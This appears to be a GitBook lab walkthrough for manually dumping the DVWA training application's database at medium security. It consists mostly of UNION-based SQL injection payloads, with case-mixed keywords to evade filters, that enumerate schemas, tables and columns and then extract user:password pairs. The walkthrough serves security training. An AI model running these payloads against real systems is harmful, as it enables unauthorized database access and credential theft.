# DVWA\_Medium\_Manualy\_Dump

#### Extract database name

```sql
id=1 union select 1,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata&Submit=Submit
```

![DVWA\_MEDIUM\_DB\_NAMES.png](https://2065144520-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FH922YB87ml6GXRHdTl5e%2Fuploads%2Fgit-blob-4b6d06dc5351eca6f4f3c370a0dd9c1ddf531708%2FDVWA_MEDIUM_DB_NAMES.png?alt=media)

#### Extract tables from database

```sql
union select 1,gRoUp_cOncaT(0x7c,table_name,0x7c) fRoM information_schema.tables wHeRe table_schema=database()
```

![DVWA\_MEDIUM\_TABLENAME.png](https://2065144520-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FH922YB87ml6GXRHdTl5e%2Fuploads%2Fgit-blob-7b0441189388e0744076b3fac5bcdd33e39278b3%2FDVWA_MEDIUM_TABLENAME.png?alt=media)

#### Extract column name from database

```sql
union select 1,gRoUp_cOncaT(0x7c,column_name,0x7c) fRoM information_schema.columns where table_schema=database()
```

![DVWA\_MEDIUM\_COLUMN\_NAME.png](https://2065144520-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FH922YB87ml6GXRHdTl5e%2Fuploads%2Fgit-blob-6ae9a62057c5901904b5d117ac1cf6297c21132e%2FDVWA_MEDIUM_COLUMN_NAME.png?alt=media)

#### Extract column name from database with tablename

GET Data like **Table\_Name:ColumnName**

```sql
union select 1, gRoUp_cOncaT(table_name, 0x3a, column_name)
from information_schema.columns
where table_schema=database()
group by table_name
```

**Explanation:**

* `table_name`: Represents the name of the table.
* `0x3a`: Hexadecimal for `:` to separate the table name from the column name.
* `column_name`: Represents the column name.
* `group by table_name`: Ensures that you concatenate columns for each table.

This query should return the `tablename:columnname` format as desired.

![DVWA\_MEDIUM\_TABLE\_COLUMN\_NAME.png](https://2065144520-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FH922YB87ml6GXRHdTl5e%2Fuploads%2Fgit-blob-8c244bd63eff0584edaa1d016159a0dc12262d67%2FDVWA_MEDIUM_TABLE_COLUMN_NAME.png?alt=media)

#### EXTRACT data from table

```sql
union select 1,gRoUp_cOncaT(0x7c,user,0x3a,password,0x7c) fRoM users
```

![DVWA\_MEDIUM\_DATA\_DUMP.png](https://2065144520-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FH922YB87ml6GXRHdTl5e%2Fuploads%2Fgit-blob-c63392d8de1273cde771467e3602f86d219a61bc%2FDVWA_MEDIUM_DATA_DUMP.png?alt=media)
